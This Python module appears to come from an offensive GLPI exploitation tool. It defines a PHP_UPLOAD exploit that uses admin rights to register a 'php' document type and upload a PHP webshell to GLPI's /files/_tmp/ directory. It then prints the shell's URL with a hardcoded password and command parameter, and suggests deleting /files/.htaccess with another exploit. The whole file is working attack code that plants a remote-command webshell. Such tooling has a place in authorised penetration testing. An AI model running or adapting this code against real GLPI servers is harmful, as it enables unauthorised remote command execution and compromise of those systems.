import time
from http import HTTPStatus
from ..exploit import GlpiExploit
from glpwnme.exploits.logger import Log
from bs4 import BeautifulSoup
from glpwnme.exploits.utils import GlpiUtils

class PHP_UPLOAD(GlpiExploit):
    """
    This class upload a php file on the target
    after the version 10.0.10, you will not be able to access your php file directly.

    @author glpi
    @cvss 5.0
    @name PHP_UPLOAD
    """
    _impacts = "Upload a php file and returns its location"
    _privilege = "Admin"
    max_version = "10.0.18"

    def infos(self):
        """
        This method is used to display the information of an exploit.
        This method support rich formatting

        :return: The whole informations about an exploit
        :rtype: str
        """
        infos = "[u]Description:[/u]\n"
        infos += "This exploit is will upload a .php file and keep its original name.\n"
        infos += "If the extension php is not authorized, it will automatically add it on the target\n"

        infos += "\n[u]Params:[/u]\n"
        infos += " - [i]file (default is the glpi webshell shell.php)[/i]: The php file to upload on the target\n"

        infos += "\n[u]Usage:[/u]\n"
        infos += "[grey66]# Upload a the glpi default web shell on the target[/]\n"
        infos += "--run\n"
        infos += "\n[grey66]# Upload one of your file named test.php[/]\n"
        infos += "--run -O file='test.php'\n"
        infos += "\nIn order to clean, remove the extension you have added in '/front/documenttype.php'\n"
        infos += "\nExploit is [green b]Safe[/]"
        return infos

    def _add_new_documenttype(self, name="Exploit", extension="php", mime="application/x-php"):
        """
        Add a new document type into glpi

        :return: Whether or not the documenttype exists
        :rtype: bool
        """
        data = {"name": name,
                "entities_id": "0",
                "comment": "",
                "icon": "",
                "ext": extension,
                "mime": mime,
                "add": "1"}
        res = self.post("/front/documenttype.form.php", data=data, allow_redirects=False)
        if GlpiUtils.is_access_denied(res.content):
            Log.err("Not enough privilege for exploit")
            return False
        self._write_log(f"Extension '.php' was added, please reset it here: {self.glpi_session.target}/front/documenttype.form.php")
        return True

    def run(self, file=None, quiet=False):
        """
        Run the exploit on the target

        :param file: The file to upload if any
        :type file: os.PathLike
        """
        Log.quiet = quiet
        self.post("/front/user.form.php", data={"language":"en_GB"})

        filename = "orange.php"
        file_content = GlpiUtils.get_glpi_shell()
        if file:
            with open(file, "rb") as webshell:
                filename = file
                file_content = webshell.read()

        result = self.glpi_session.upload_file(filename, file_content)
        if "error" in result.keys():
            if "Filetype not allowed" not in result.get("error"):
                # Unknown error
                return None

            # Cannot upload shell because of file extension ?
            if not self._add_new_documenttype(name="orangecyberdefense"):
                return None

            result = self.glpi_session.upload_file(filename, file_content)
            if "error" in result.keys():
                Log.err("Got error: " + result['error'])
                return None

        file_url = self.glpi_session.r("/files/_tmp/" + result["name"])

        if not file:
            full_url = f"{file_url}?passwd=P@ssw0rd123&_hidden_cmd=#<whoami|optionnal>"
            if quiet:
                Log.quiet = False
                Log.print(f"[red][+] Webshell successfully landed: {full_url}[/]")
            else:
                Log.msg(f"Access your file: {full_url}")

        else:
            Log.msg(f"Your file is here: {file_url}")

        if self.get(file_url, allow_redirects=False).status_code != HTTPStatus.OK:
            Log.print(":warning-emoji:  If you cannot access your file, this is because you must "
                      "[b]delete[/b] the file `/files/.htaccess` with another [b yellow]Exploit[/b yellow]")
